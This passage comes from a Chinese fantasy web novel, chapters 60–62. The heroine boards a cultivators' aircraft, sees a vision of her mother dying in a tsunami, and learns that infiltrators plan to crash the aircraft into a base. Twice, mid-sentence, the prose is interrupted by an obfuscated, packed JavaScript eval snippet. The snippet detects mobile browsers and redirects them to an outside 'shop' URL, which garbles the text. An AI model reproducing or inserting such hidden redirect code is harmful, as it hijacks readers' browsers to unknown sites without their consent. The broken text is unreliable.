孙和铃看都没看谢轻眠一眼,只对张组长解释:“从现在起,我的担保人身份生效,林北柔加入组织的流程已经走到太微垣了,由我护送她去基地,她在基地的监管,也由我负责。” 半个小时后。 林北柔不太放心地试了试周阆屿的呼吸:“孙部长,真的没问题吗?” 孙和铃:“他要是醒了,就该千方百计阻止你去基地了,带他回我那边,好好睡一会儿,等你到了基地,我们再单独把他空投过去,他们向光山历史太久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375827|126507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,内部分裂是迟早爆发的事,我想他也不想回去。” 林北柔:“你刚才不是说你跟我一起去基地吗?” 孙和铃看了她一眼:“我说的是你的监管,由我负责,我每天有多忙,还得亲自跟你去基地?” 林北柔语塞,嘀嘀咕咕两句。 孙和看她就像看一个小孩子,嘴角上扬了一个像素格,表面还是淡淡地说:“好了,我和孙家现在都站你身后,你去了基地,不要过于担心,也不要放松警惕,基地是封闭的,虽然不是完全没有风险,但比你在普通人社会乱晃当靶子,变数小得多。” 林北柔:“你不去,孙家也不派几个高手保护我?” 孙和铃:“按照太微垣的规定,任何人,哪怕担保人地位再高,去基地都要自理,这一个月之内,你要突破境界,拿到进禁区的资格。” 孙和铃让人带林北柔去办手续。 几十道印章落下,最后一份文件入档,林北柔正式成为了组织的一名成员。 她还拿到了属于自己的身份卡,出入卡和一些杂七杂八的东西。 林北柔激动心想:“我也是有编制的人了,再也不用去外面找工作了。” 林北柔问孙和铃:“一个月能领多少工资?” 孙和铃:“你现在还是预备成员,一个月除去各项保险金和福利,到手是九千五。” 比她之前在魏瑕那边上班时工资低多了,不过林北柔没有哪里不满意的,钱可以慢慢挣,路可以慢慢走,她的计划总算是顺利开展了第一步。 孙和铃又让人帮她收拾了行李,将她送到了停机坪。 林北柔第一次看到这么高大上的停机坪,感觉天空好大,好蓝,微风吹得人好舒服啊。 最显眼的是一架军用级别黑色飞行器,静静停在那里,特别大,科技特别先进的感觉,说是飞行器,因为它长得跟传统飞机一点不一样,是目前最前沿的科技产物,市场上看不到那种。 孙和铃戴了一副定制墨镜,造型很简洁:“非战争状态下,基地不允许开任何远程传送阵,只能采用物理交通方式,我的联络方式你有,有事就跟我说,不过我得提醒你。” 林北柔:“什么?” 孙和铃:“基地不是正常人待的地方,你去了那边,我影响力有限,可能你会遇到一些意外,一些突发事件,你得自己应对。” 林北柔:“噢。” 孙和铃有点想扶额,看林北柔眼神清澈,感觉她根本听不懂言外之意:“我的意思是,你得活着,明白吗。” 林北柔:“有人想杀我?” 孙和铃轻描淡写:“那可太多了,你是四号候选,就等于是储君候选,虽然目前你连末位候选人都赶不上。” 林北柔:“没关系,只要我活着,通过考核,一个月后能进禁区就行。” 她的目的本来就是不让周阆屿去送死。 孙和铃:“年轻人,真是不知天高地厚,算了,你去历练一下也好,中途受不住想放弃,联系我就行,我和孙家目前关系不算密切,孙家也不会把鸡蛋放在一个篮子里。” 林北柔:“好吧,谢谢你,孙部长,我去了。” 孙和铃隔着墨镜,眼神意味深长,点点头:“去吧,祝你好运。” 基地来的修行者穿着类似陆军作战服的黑色制服,身高一米八,看不出年纪,反正肯定不年轻,面无表情地过来引导林北柔走上飞行器阶梯,林北柔推着行李,看了孙和铃一眼。 她的墨镜边框在阳光下闪烁,脖子上的领巾随风而抖。 这是林北柔结交的第一个组织上的人脉。 靠谁都不如靠自己。 基地修行者忽然在林北柔背后说:“这次是统一接送你们,飞机上还有其他去基地的受训人员,待会你保持安静,不要和他们搭话聊天。” 林北柔诧异了半秒:“好,我明白了。” 上了飞行器,内部也十分宽敞,有专门的后勤人员接过林北柔的行李,帮她放去专用行李架上了,林北柔走进机舱,面前是一堆和普通民航头等舱差不多的座位。 座位上都坐了人。 目之所及,全部是熟面孔。 起码前排是这样,莫衡,谢轻眠,孙芮晗,还有两个林北柔在周阆屿笔记本电脑资料上看到过的修行者。 这些熟人表情神态不一,莫衡闭目养神,谢轻眠看着舷窗外,根本不搭理任何人,孙芮晗眨巴着眼睛看着林北柔,拼命给她使眼色,林北柔目瞪口呆,不明白孙芮晗一个弱鸡忽然出现在这里是为什么。 后排坐的就不是林北柔熟悉的人了,一望而知是修行者中的精英,多半是世家出身,最小的看上去高中生模样,年纪大一些的三十多岁,有女性也有男性,大多数看上去二十多岁,和林北柔一个年龄段,他们神情淡定寻常,或是轻声附耳交流,或是独自静坐。 除了孙芮晗,每个人都没有朝林北柔投去一瞥。 林北柔往后面走,寻找着空位,当走到一个位置时,她刹住了脚步。 她明白为什么孙芮晗给她使眼色了。 最后一排明明有四个座位,其中三个却没有人坐,唯有靠窗的位置坐了一个人。 魏瑕穿着黑色卫衣和黑色长裤,细碎的黑色刘海搭下来,略遮住额头,露出眉眼,黑魆魆不见情绪的目光投过来,落在林北柔身上,像黑色冰水慢慢当头浇下,顺着她身体流动。 他旁边的座位虽然没有坐人,但摆了一只很高级的巨大箱子,都能睡下一个三岁小孩还绰绰有余了,正面是金属栅栏,里面有一个宽敞舒适的窝。 窝里面居然还是分区的,进食区有提摩西草和自动小型饮水器,其他区有除味装置,还有自动厕所。 休息区只有一张小毯子,一只灰绒垂耳兔正侧躺着,毛毛看上去浮云一样轻软,可以想象一定特别好摸,睡得无忧无虑,兔脚还微微抽抽,不知道是不是在做奔跑还是飞翔的梦。 分开这么多天,这只小兔子居然体型一点变化都没有,不知道是不是某种侏儒兔来着。 林北柔的心情一下子变得又惊又喜,本来打算默默坐到远处的,结果不由自主地上前两步。 “魏总……”她特别轻地说,用只有她和魏瑕能听见的音量,眼睛却看着那只兔子,“我能坐你旁边吗。” 魏瑕点了点头,他脸色有点苍白,林北柔不禁怀疑他是不是在和魏家人斗法时受了伤。 难道魏家的人真的那么牛逼,能用所谓的祖传祭血大法困住魏瑕不成,林北柔隐隐觉得有点不对劲。 不过她没多想,魏瑕同意后,她就坐到了兔子旁边的座位上,拿出手机,录兔子睡觉的样子。 林北柔并不是个喜欢宠物的人,她也从来没有饲养过宠物,因为以前状况不好,觉得自己不会是个好主人,家里也没有养宠物的条件,一直没养过宠物。 她也不知道,为什么这只灰兔就是很合她的眼缘。 灰兔忽然睁开了眼睛。 黑黑的葡萄一样的大眼睛里,映照出林北柔的脸。 林北柔吓了一小跳,就看见灰兔翻身蹦起,利索得跟没睡一样,兴奋地往笼子顶上扑,结果被弹了回去,背朝下摔在垫子上,愤怒地跳了起来,冲着魏瑕的方向又是跺脚,又是龇三瓣嘴,眼白还微微翻出来,斜视魏瑕。 林北柔从来没在一只兔子脸上看见过这么丰富的情绪。 魏瑕根本不理它,他拿出一本书,开始看。 灰兔转向林北柔,居然后肢蹲坐着,前爪合十朝她摇摇,林北柔一下子捂住嘴,被萌得出了鼻血,这只兔子也太通人性了吧,这智商跟一个两岁小孩子差不多了。 林北柔不由自主伸手到栅栏前,灰兔马上蹦跶过来,闻她手指,小舌头舔舔。 林北柔:“我可以抱它出来玩玩吗……” 魏瑕:“不行。” 林北柔:“基地居然允许带宠物?” 魏瑕:“不允许。” 那你是怎么带兔子上飞机的,林北柔一阵无语,忽然想起了魏瑕送她的那副耳机,她这次还贴身带着的,又觉得魏瑕只是不擅长和人交往,实际上心地还是挺好的。 “飞机即将起飞,请各位系好安全带。”广播里传出声音,其他人纷纷动作,有些人还带上了眼罩,显然准备好养精蓄锐。 林北柔靠在椅背上,不一会就看到窗外景色开始滑动,接着推背感越来越强,地面景色忽然被天空取代,随之而来的是轻微晕眩。 不到一会,他们就进入了高空,云层在飞行器下铺展开,仿若另外一个世界。 阳光灿烂,高空无垠,天空由下至上,是渐变的由浅到深的蓝,在这样一个世界,林北柔稀奇古怪地觉得,自己可能会在云层上看到奇怪的东西,可能是天空之城,可能是八七版西游记师徒一行人。 就这样过了四十分钟,机舱内温度舒适,很多人开始睡觉,林北柔摸兔子摸累了,也靠着U型枕睡了过去。 魏瑕没有睡,他一直保持同一个姿势,眼睛盯着虚空某个点,要不是他在呼吸,看上去真有点人偶感了。 有人悄悄侧过脸向后望了一眼魏瑕和林北柔,又被同伴眼神警告制止,于是所有人都若无其事表现得很正常,很普通,哪怕心理活动非常波动。 毕竟,人哪有不八卦的。 这些修行者都不是初出茅庐的新手,哪怕看着年轻,也是放野历练过的,资历起码四年以上,天才中的天才,每个人手上都有人命,随便哪一个战力面板都远远抵得过一支正规天师百人团。 每个人,理论上都是紫宸君候选。 他们深谙这个圈子的规矩,眼观六路,耳听八方,知道一切内部小道消息,更知道机舱里每个同伴的履历。 比如说,莫衡和魏瑕是有仇的。 此时此刻,一个在最前排睡觉,一个在最后一排发呆,楚河汉界,井水不犯河水,显得机舱内气氛平静到不正常。 又比如,那个魏瑕旁边的女性,根本不是世家出身,而是最普通的工薪家庭,据说是跟周阆屿先搭上了关系,才有机会进到组织的,属于中了彩票一步登天。 这个叫林北柔的人不简单,心机深沉,拿周阆屿当筏子,步步为营,结交上了魏瑕,还得到了苔痕宗孙家的后援。 有些很野狐禅的消息来源说,林北柔和周魏二人关系暧昧,甚至还勾搭过莫衡。 这导致机舱里有一部分人心里对林北柔很轻视。 修行者圈子实力为尊,需要靠旁门左道往上攀爬的,说明她本身实力存疑,所谓的四号候选,估计是故意这么炒作自己。 真正曾经的四号候选,是莫衡,莫衡旁边的谢轻眠,背后是向光山,境内底蕴最深厚的佛宗,谢轻眠实力也很深,有人说她是七号候选。 基地这次,有的是热闹看了。 无人看见,平滑如梭的飞行器外,洁白耀眼的云层中,有一个黑点在极速接近。 61. 第 61 章 林北柔睁开眼睛,视野有点晕,过了几秒彻底清醒了。 座位狭小,膝盖抵着前面椅背,小桌板放了下来,上面是一本被翻得卷边了的杂志。 林北柔愣住了,她清楚地记得,刚刚她坐在一个非常高大上的飞行器上,周围是一些来历背景很深的人,都是修行者,她旁边是魏瑕,她手边还有灰兔绒毛的触感。 林北柔身体猛地弹动,扭过脸去,林子倩就在她旁边,睡得很熟,穿着一条林北柔很眼熟的花色连衣裙,一般林子倩女士度假才穿这条,平时还会运动健身,身材看上去很健康美。 话又说回来,林子倩女士侧面看鼻子很挺,皮肤也很好,一点斑都没有,皱纹更是没有,只有笑起来才有眼尾纹,林北柔早已习惯了她亲妈的长相,这样猛一瞧见,还是被亲妈的颜值晃了下眼。 遗传定律是科学的,不可违背的,林北柔自己长这样,完全归功于她亲妈,归功于她亲姥姥,还有她亲爹也不难看。 老照片上,林子倩女士五岁起幼儿园合照就和同龄小朋友彻底拉开距离,跟童话里的小公主似的,长大了也是一路美过来的,不打扮不修边幅都乱美硬美,怪不得单位那些男的,还有其他社交场合的男的,都要追林子倩女士。 这一点一直是林北柔青春期的阴影,虽然林子倩只短暂和其中一两个长相和涵养都不错的交往过,又无疾而终,林北柔还是非常膈应。 林北柔的思绪渐渐松弛,紧接着一丝极微弱的违和感浮上心头,化作电光火石,划破脑海,让她脸色僵硬。 不对。 不对不对。 她记忆里的林子倩,根本没有这样年轻。 林子倩明明应该是快六十了,体态有些轻微发福,脸上也有皱纹的,哪怕依然超出同龄人一大截,五官底子也在,看得出年轻时是多惊人,也依然是个快跨入退休的中年妇女。 现在的林子倩,看上去不超过四十五。 那么林北柔自己…… 林北柔沉着脸迅速找到了林子倩的随身小包翻找着,翻出了一面小镜子,打开往脸上一照。 果然,她现在看上去是中学生模样,脸上还有奶腮。 这个时候,她还没有被医生确诊精分——实际上她也不是,只是经常焦虑,睡不着觉,医生说她是学习压力太大了,有焦虑症状。 林北柔搜肠刮肚,也想不起来她这到底是哪一段,这段飞机旅程十分陌生。 一阵恐慌袭来,林北柔心跳加速,下意识抓紧了扶手,思路短暂空白。 这样好像大梦初醒一样的经历,似曾相识。 “女士们先生们,欢迎乘坐东方航空公司航班,我是本次航班机长,我们的飞机已经到达巡航高度,飞行高度为9600米,飞行速度为860公里每小时。” “我们将调暗客舱灯光。为防止意外颠簸,就座时请全程系好安全带,井将安全带系在明显处,以免乘务员打扰您。飞行途中,如您需要服务,请随时告诉我们。谢谢!” 时间一分钟一分钟地过去,直到客舱广播通知“我们将在五分钟后发放餐盒”,林子倩女士终于醒了过来。 一睁眼,就看到自己的独生女正眼睛一眨不眨地近距离盯着自己,吓了林子倩一大跳。 林子倩:“宝宝,怎么了?” 林北柔盯着她:“我们现在要去哪里?” 林子倩没反应过来:“马尔代夫呀。” 林北柔:“我们出国了?!” 她印象中,自己和老妈从未出国。 林子倩以为林北柔焦虑不安的毛病又来了,以前就带她看过医生,医生说林北柔这些反复询问都是正常的,疏导就好,于是林子倩摸摸女儿脑袋,习以为常地解释:“你考得好,老妈单位又发了一笔钱,出去看看海散散心。” 林北柔接受了这个解释,很快乘客们开始用餐,林子倩十分娴熟地拿了对新耳塞递给女儿,免得前后吃东西的声音影响到孩子,林北柔心不在焉地戴上了,没有什么胃口。 窗外是一望无际的天空,蓝得十分深远,云海之上,有一个黑点在快速接近飞机。 林北柔瞳孔骤缩:“妈,那是什么?” 林子倩见孩子趴在窗玻璃上,眼睛死死盯着窗外,瞬间也担心了起来,连忙往外看,但是什么都没有看到。 “没看到什么啊。” 林北柔发现只有她一个人才能看到黑点,而林子倩以为这又是她的幻觉,或者医生说的飞蚊症,说她太累了,让她赶紧休息会儿。 林北柔没有休息,她一直盯着那个黑点,想看清楚那是什么东西。 下一刹那,黑点消失了。 林北柔紧紧搜寻了一遍又一遍,云层上没有阴影,没有黑点了。 林北柔慢慢放松后背,靠回了座位上。 时间过得很快,她们真的抵达了马尔代夫,玩了几天,林北柔站在阿雅达的栈桥上,喝着新鲜的椰子汁,看果冻玻璃海在阳光下波光粼粼,色彩像薄荷海盐气泡水,又像帕拉伊巴。 这不是她大脑能虚构出来的,人的大脑无法构造出新的知识和真实的地理,她从来没来过这里,所以这个地方是真的,她的经历也是真的。 不管是魏瑕,还是周阆屿,都好像离她特别遥远了,她甚至要花好几分钟才想起他们叫什么名字。 之前的经历确实是稀奇古怪的梦吗。 林北柔的心情差不多完全放松了下来,在假期结束前一天,她还是打算把最后一个疑点搞清楚。 林北柔问林子倩:“妈,我生下来的时候,是不是还有个哥哥?” 林子倩瞪大眼睛:“这是什么话?我就你一个孩子。” 林北柔逼问纠缠了半天,林子倩才无奈告诉她:“妈妈在你之前怀过一个孩子,不过那个孩子四个月就自然流产了,都没来得及知道性别,你不问我都想不起来。”说完林子倩出了会儿神,像是想起了自己年轻时候的往事。 不对。 林北柔清清楚楚记得,在之前的世界,林子倩生的是双胞胎兄妹,只不过林子倩以为哥哥刚生下来不久就死了,实际上哥哥没死,被周家抱走了,这个世界,即是“哥哥生下来不久就被抱走”世界,是原世界。 还有另外一个平行世界,那个世界里,她哥哥没有被抱走,还有出生证明,两兄妹是一起长大的,哥哥的出生证明,还很奇怪地出现在了“哥哥生下来不久就被抱走”的世界。 林北柔瞳孔震颤,头脑无法冷静思考。 她忽然想了起来,在那个“哥哥没被抱走和她一起长大”的世界,她和死党陈星云去了游乐园,在游乐园里玩得正好,天边忽然出现了蓝紫色的光带,非常奇怪的天象,然后堪比世界末日的浩劫就来临了。 天边出现一个黑色的点,在飞速接近。 林北柔盯着那个黑点,全神贯注地研究,耳畔传来此起彼伏的呼喊时,还没反应过来,直到被林子倩拉住手开始跑,她猝不及防回神,看到附近所有人都在跑,家人互相抓着,大人抱起小孩,其他年轻人各自往前冲。 所有人都在朝同一个方向跑。 这种比自己还夸张的反应,是不是他们知道那个黑点是什么? 林北柔:“妈,你跑什么!” 林子倩脸上丝毫没有笑容,连惊慌的表情都没有,因为发生的事情超过了她普通人的负荷,她面部某一条肌肉很艰难地扭曲了下,尖声催促:“海啸快跑!” 林北柔愕然,本能回头去看,那一瞬间,她好像知道了“洪波涌起”四个字被夸大成千上万倍是什么效果。 晴空下,没有任何征兆的,远处本来平躺的海平线,变成了一条涌起的波浪线,吞没了上方大面积的天空,徐缓的,以真实到近乎虚幻的动态,朝这边过来了。 就像支配旧日的存在苏醒了过来,都不曾注视到这小小凡间海岛一隅,只是醒了,就足以湮灭数万生命。 海浪的速度快到不可思议,林北柔本来以为他们跑到陆地上是安全的,但海平线涨得太快了,打破了有史以来的记录,陆地上大片建筑和街道都被海水冲没,这一切仅仅发生在五分钟之内。 巨块移动一般的海波底下,隐隐透出蓝紫色的光。 林北柔和林子倩非常走运地上了另外一辆中国夫妇的车,他们是丁克来旅游的,来这儿很多次了,女方以前是在重庆当出租车司机的,车开得轮胎离地,又对当地交通很熟,奇迹一般逃出了海啸范围,中途种种,让林北柔累到极点,只记得熬了几天,他们被大使馆护送上了回国飞机,落地后也一路绿灯受到了专门优待,还被送去了政要人物和外国贵宾才住得起的饭店。 他们甚至还把她们和其他幸存者一起,送去了专门的私人医院检查。 他们没收了众人的手机,林北柔只来得及看到网上铺天盖地都是这场海啸的报道,海啸不止袭击了他们去的地方,大陆板块沿海都遭遇了人类历史上最不可思议的巨海啸,岛屿国家是受灾最严重的。 “宝宝,你身体没有哪里不舒服吧,咳咳——” 林子倩咳出了血,血泛着蓝紫色的微光,只有林北柔能看见。 “妈——!!!”林北柔是真的崩溃了。 医护人员紧急安排了林子倩住院,一起住院的还有其他遭遇海啸的游客,他们的血液都出现了林北柔才能看到的蓝紫色微光。 一些特殊的人出现,他们和医生临床交流,林北柔绞尽脑汁前去偷听,只听到了“被污染了”“大概还有一个月不到”只言片语。 她每天都在愣愣的什么都不想和一旦开始思考就崩溃的状态反复横跳,寸步不离守在林子倩旁边,医务人员不得不强行让她待在另外一个房间,免得她干扰治疗。 最后的最后,林子倩还是走了。 明明前一天晚上,状况还在好转,以为希望和奇迹降临,第二天却发现林子倩醒不过来了,连最后一句话都没有留下。 她和其他旅客几乎是同一天同一时间去世的。 抢救室差一点不够用,外面走廊全是家属,哭嚎声此起彼伏。 医生最后让林北柔见了林子倩一眼,林子倩面色和唇色都轻微苍白,表情就是睡着的人的表情,无知无觉的,和睡觉的人唯一的区别是,没有呼吸,没有心跳。 林北柔忽然产生强烈的陌生感和抽离感。 这个什么东西,不是林子倩,不是她妈。 这个只是什么躯壳,真正的林子倩不在这里, 林北柔泥塑木雕一样站着,有这段时间和她们熟了的护士担心地过来扶着她,小心翼翼劝她去休息,告诉她有专门人员会料理后事,让她不要担心。 林北柔感知不到外面,别人让她干什么她就干什么,之后好像是她被护士带去休息,护理还给她盖好了被子,林北柔隐约想起,医生好像跟护士提过,这孩子精神不大稳定,不要刺激她。 妈妈…… 妈妈…… 林北柔感觉自己越缩越小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450357|126507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,回到了六岁孩子模样,蹲到了床角,像一团刺猬一样把自己团起来,双臂紧紧抱着膝盖,头深深埋下去,把柔软的肚子保护起来,一片黑暗中,眼泪不断地流了出来,又烫又痒又痛。 “啊啊啊啊啊——”林北柔发出了惨烈的喊叫。 窗台被月光照亮,林北柔呆滞地流着泪,慢慢抬起脸,天空中一轮极大的白月,亮得非同凡响,周围都是环绕它的云絮,一个黑点出现在圆月上,极速接近。 或接近是种幻觉,它一直悬停在那边,无法接近。 “林北柔,醒醒。” 一个不带任何感情又十分平和的声音响起,非男非女,非老非少,就像直接意念传递到她脑海中,让她产生了幻听。 林北柔声带嘶哑:“你是谁?” “乙方,我终于联系上你了。” 林北柔瞳孔骤缩,眼睛刹那睁大。 这句话如同开启了一道开关,山呼海啸般的记忆碎片轰然爆开,在她脑海内形成旋风,归流,拼凑,从混乱到有序。 胜身洲的每一天在眼前展开。 “司空晏一到这里,就觉察到了我的存在,他隔离了我的感知,把我封印在了灵脉禁区,我一直没办法联系上你。”甲方说。 “那个黑点是你?” “你们乘坐的飞行器在万里高空,远离地上灵脉,又刚好越过一处脱离了司空晏影响范围的盲区,我才能联系上你。” 林北柔:“刚刚,我妈妈……那些都是假的吗?” 甲方:“当然是真的。” 林北柔陷入死一样的沉默。 甲方:“你在这个世界,它就是真的,你不在这个世界,它自然不是真的。” 这句话让所有想法刹那暂停重组。 林北柔慢慢说:“我想起来了,谢轻眠让我看见过其他世界,在那个世界,我没有和你接触过,没有去过胜身洲,被当做有精神分裂和被害妄想,只能做很有限的低薪工作,后来天灾爆发,他们才发现我们这些人不是精分,是能感受到普通人感觉不到的污染,把我们转移去了研究所,那辈子我很废,我妈承受了非常大的压力,才四十多岁头发就白了,到了后面,我才从研究所那边领了钱,可以安顿她晚年……” 甲方没有说话,静静聆听。 林北柔有种死掉了又重生的感觉。 林北柔:“司空晏为什么要封印你,他怎么来这个世界的?想干什么?” 甲方:“他把太初灵核封印了,现世灵脉无法重启,你得进入灵脉禁区,找到太初灵核,解开封印。” 林北柔:“我为什么会看到其他世界线发生的‘现实’?” 甲方:“你的体质在普通人口中占据七十亿分之一,以前出现过,当下只有你一个,这种体质在胜身洲叫‘染子’,染子的天赋叫‘泚涅’,泚是笔蘸墨,涅是黑色染土,你能看见污染,听见污染,闻见污染,如果能和灵脉达到最高共鸣,你还可以控制污染,随心所欲驱使它们,如身之使臂,臂之使指,莫不制从,但你无法净化污染,所有控制过污染的染子,结局都不太好。” 林北柔脑子里嗡嗡的。 她在胜身洲根本不知道,也从来没用过这个什么泚涅。 甲方的意思是她本来有个挂,结果费了那么大力气打通关了,人也ptsd了,自己都不知道也没开过这个挂。 这个挂到现在还没有任何技能经验加点,进度条零。 林北柔:“为什么你以前从来没有告诉我?什么结局?还有谁和我一样?” 甲方语气依然没有任何悲喜和褒贬,回答了所有问题:“你在胜身洲的任务是顺利拿到太初灵核,太初灵核无形无质,只能以人的心神元灵为载体,从胜身洲被带回现世,假如我告诉你,你的心神波动,会产生蝴蝶效应,任务大概率失败。” 甲方:“胜身洲魔域过去有一位魔君,她也是染子,她对污染的操纵出神入化,泚涅达到了天极境界,魔域之魔,无不臣服,最后,她疯了,不知去向,非生非死。” 甲方:“看见其他‘界’的现实,只是你天赋外溢的一个迹象,那不重要。” 林北柔哑然了三秒。 林北柔:“那什么重要你告诉我?” 甲方:“飞行器上混入了境外不明分子,他们想要控制飞行器,很可能想杀了你们,毕竟飞行器上全是境内最有天赋的青年修行者,你们是组织下一代的种子,他们和组织不论是国别还是修道立场,都是对立的,另外还有一个更恐怖的可能性。” 林北柔深吸口气:“你讲话能不能不要大停顿?” 甲方:“我的感知被限制了,只能断续零碎感知到信息,随时可能掉线。” 林北柔:“快说!!!” 熟悉的抓狂感袭来,她想起来了,甲方就是这样的,讲话非常不着急,经常让她非常着急。 甲方:“他们想要劫持飞行器,骗过基地通行系统,然后在基地坠毁,毁掉基地。” 林北柔:“……” 林北柔忽然就想起了9·11事件,她也是听林子倩说起的,当时林子倩还是个小学生,而林北柔还不知道在哪里飘飘悠悠等投胎。 林北柔豁然开朗:“害,那他们运气真的不好,司空晏在飞机上啊!” 阴间祖宗在,一个核武打过来都给你空手接了拆成筛子。 甲方:“这就是我要告诉你的第二点了,你旁边那个人,他不是魏瑕,也不是司空晏。” 62. 第 62 章 不是魏瑕,也不是司空晏。 林北柔下意识问:“什么意思?” 甲方:“司空晏或者魏瑕,他不在这个飞行器上,那个被魏家抓走的不是他,现在这个只是一个用障眼法假扮成他的傀儡,不是真的活人。” 林北柔想起来了,司空晏是活了很久的老怪物,除了心剑,他还会其他很多旁门左道的东西,比如傀儡术,他制造的傀儡和人偶,被胜身洲其他人称之为神伶。 甲方:“这个人偶身上没有任何法力,只是个纸壳子,周阆屿也不在飞机上,我的时间到了,你只能靠你自己了。” 林北柔还有一万个问题想问,下一秒,难以抵抗的晕眩袭来。 林北柔微微睁开眼,空间平稳,温度恒定,她睡在U型枕头上,差点流了口水,窗外是蓝空如洗,云层依然洁白绵软,像一望无际的白海,没有任何突兀得像图层异常的黑点。 林北柔几乎觉得刚才又是一场逼真如同幻觉的短梦,她之前经常做这种稀奇古怪的梦。 林北柔慢慢地转过去,不动声色用余光看向魏瑕。 他还是保持着之前的姿势,也看着窗外,好像不累也不饿。 林北柔:“谢谢你之前送我的防噪音耳机。” 魏瑕转过来,脸上没什么表情。 林北柔:“这个,你不记得了?”她把耳机摘下来给魏瑕看。 魏瑕看向她耳机,林北柔手一松,耳机不小心掉在了地上,林北柔:“啊啊啊!” 林北柔假装慌了弯下身去捡,顺势抓住魏瑕手腕。 林北柔直接用元神感知了下。 她曾经和司空晏是道侣,结下过最高等级的天道心契,只有她能用这种简单粗暴的办法。 对方的元神灵府是空心的。 他没有灵魂。 林北柔整个后背都麻了。 这么逼真的傀儡人偶,只有司空晏才造的出来。 怪不得魏瑕一上飞机话就这么少。 “叽叽。” 林北柔刚起身,灰兔就抬起脑袋站起来,翘首以盼看着她,林北柔都不知道兔子居然还可以叫,声音非常轻非常软,跟个玩具差不多,努力把毛茸茸的脸伸出栅栏缝隙。 林北柔迟疑了下,她现在觉得这只灰兔不是单纯的宠物,林北柔蹲下来装作逗兔子,感觉到灰兔活倒是活的,身体暖呼呼的,心跳很有力,但体内并没有什么灵力,就是只普通的小动物,不能对她提供武力上的协助。 要在有限的时间内找出内奸,阻止坠机,听起来像天方夜谭,更无语的是,她不知道刚刚和甲方的对话是不是真的,如果是她的幻觉,那她和精神病也没什么太大区别。 他们在的区域是头等舱,宽敞舒适,配有单独的卫生间,居然女生和男生卫生间还是分开的。 林北柔站在最后一排慢慢观察前面,和普通飞机一样,驾驶舱在最前面,要进入驾驶舱,就要穿过头等舱。 最前排坐着莫衡、谢轻眠、孙芮晗和一个不认识的男性。 头等舱的人背后都是世家,冒充难度系数非常高。 林北柔看了一眼身后,头等舱后面有一小段通道,通道后面是门,后面有另外的机舱。 林北柔走过去,通道内一个身穿黑色基地制服的高大覆面军士拦住了她:“禁止随意走动,回自己座位去。” 林北柔:“后面机舱是什么?” 军士:“是其他基地学员。” 头等舱坐的是世家出身天赋上佳的学员,普通机舱坐的是普通学员,按照修行者标准,也非常强,只不过没有头等舱的潜力大,二者初始面板属性值不同,就像卡牌游戏中五星卡和四星卡。 林北柔:“噢,我可以去看看吗。”冒充普通学员,应该更容易。 军士:“这位学员,请不要给我们添麻烦。” 军士戴着黑色软面罩,只露出眼睛,目光锐利得像鹰隼,压迫感很强,衣服很厚也看得出衣料下身材强壮,林北柔不确定对方有什么神通能读心,也不确定对方是不是内奸,只好说“好吧”,然后掉头回去了,如芒在背,感觉到对方盯着她。 孙芮晗正在左顾右盼,回头张望,刚好和林北柔对上视线。 林北柔:“……” 林北柔现在大脑前所未有清明,想起了和孙芮晗的接触。 孙芮晗天赋低微,在家里没地位,长期受人忽视,为了在苔痕宗受重视,想了个歪主意,试图下药药倒魏瑕,想趁机发生关系,凭借魏家的势力翻身,结果鸡飞蛋打大翻车,之后被孙和铃带回家训诫收拾了三个月,现在痛改前非洗心革面老实多了,因为是孙和铃的侄女,被冒充的可能性是最小的。 林北柔朝孙芮晗招了招手,孙芮晗马上就起身过来了,到她面前压低声音:“我居然也要去基地!不是学员,是实习生,过去后勤打杂的……我姑姑说看我表现,要是实习期结束评分合格,我就可以去考组织其他部门。” 林北柔:“你要认真上班了?” 孙芮晗分享欲旺盛:“考不得考得上还不一定,反正我也不想被家里看不起了,过年聚个餐都卑微得要死,我要奋斗,对了,我在后勤,到时候你有事可以联系我。” 林北柔:“你去后勤,周围也都是世家的人?” 孙芮晗:“当然不是,很多散修和平民,到时候关系会很难处,他们一直很恨世家占据资源,我也不会惯着,该干嘛干嘛,把工作做好就行。” 孙芮晗改正自新,也只是对林北柔和周阆屿等少数人态度好,对其他无关的人,她还是世家后代的本性,多少有点优越。 语气,眼神,直觉,林北柔确定了孙芮晗确实是本人。 林北柔:“飞行员怎么选的,假如有谁冒充怎么办?” 孙芮晗有点摸不着头脑:“啊?不可能,机长和副机长资历都很老的,上机前还必须通过正规验证程序,不可能被冒充。” 林北柔:“除了机长,还有谁能进驾驶舱?” 孙芮晗:“乘务长?一样的,不可能被冒充。” 林北柔:“有境外奸细混到飞行器上了,想把所有人杀了,然后炸基地,要不你联系一下你姑姑,能返航最好。” 孙芮晗傻眼了,看着林北柔,好像觉得她没睡醒:“只有机长他们有特殊的通讯可以联系地面,一上飞行器就全部军事化管理了,你能在头等舱走动都是头等舱的特权了,我们也不可能让乘务长传话,乘务长根本不可能信啊,你有什么证据吗。” 林北柔理不直气也壮:“……没有,所以我正在找。” 孙芮晗查过林北柔的资料,知道她是有些病史的,小心翼翼看了林北柔一眼,感觉林北柔可能是被害妄想发作了。 林北柔沉思:“你的意思是,现在机长、副机长、乘务长等机组专配人员,他们不可能被冒充,剩下的人都有被冒充的可能性。” 孙芮晗适应了林北柔的思路,干脆当打发时间陪她聊:“对啊,头等舱有二十四个人,六排,普通舱估计有六十多个人,世家的人更难冒充,但不排除有这种可能性。” 林北柔不说话了。 